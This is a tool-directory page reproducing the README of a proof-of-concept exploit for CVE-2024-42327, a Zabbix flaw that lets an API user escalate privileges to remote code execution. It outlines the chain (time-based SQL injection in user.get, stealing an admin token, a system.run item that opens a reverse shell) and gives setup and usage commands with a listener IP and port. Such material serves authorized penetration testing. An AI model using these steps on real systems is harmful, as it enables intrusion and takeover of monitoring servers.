Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-42327 — POC for CVE-2024-42327: Zabbix Privilege Escalation -> RCE | Kitploit
Tools/GitHubGitHub/godylockz/cve-2024-42327
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubgodylockz/cve-2024-42327

CVE-2024-42327

POC for CVE-2024-42327: Zabbix Privilege Escalation -> RCE

View Repository
923717 days agoNot yet reviewed
Share

CVE-2024-42327: Zabbix privilege escalation to RCE

Proof of concept for CVE-2024-42327. The script authenticates as a non-admin API user, uses a time-based SQL injection in user.get to recover an administrator session token, and creates a system.run item that opens a reverse shell.

Zabbix fixed the issue in 6.0.32rc1, 6.4.17rc1, and 7.0.1rc1. A vulnerable account needs a role with API access.

Use this only against systems you own or are authorized to test.

Requirements

  • Python 3
  • netifaces and requests
  • nc available in PATH
  • Credentials for a Zabbix account with API access
python3 -m venv .venv
source .venv/bin/activate
python -m pip install netifaces requests

Usage

python3 zabbix_privesc.py \
  --url https://zabbix.example/zabbix \
  --username user \
  --password 'password' \
  --listen-ip tun0 \
  --listen-port 4444

The URL is normalized to the api_jsonrpc.php endpoint. --listen-ip accepts an IPv4 address or interface name and defaults to tun0.

Token extraction uses 10 worker threads, a one-second timing threshold, and a 32-character maximum by default. Use --threads, --sleep-time, --row, and --length to adjust those values for the target. Run python3 zabbix_privesc.py --help for all options.

Successful exploitation creates an item named rce on the first host returned by host.get; remove that item after an authorized test.

References

  • Zabbix issue ZBX-25623
  • NVD: CVE-2024-42327
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

No popularity data yet.

Explore all tools

Browse our collection of tools

View all tools →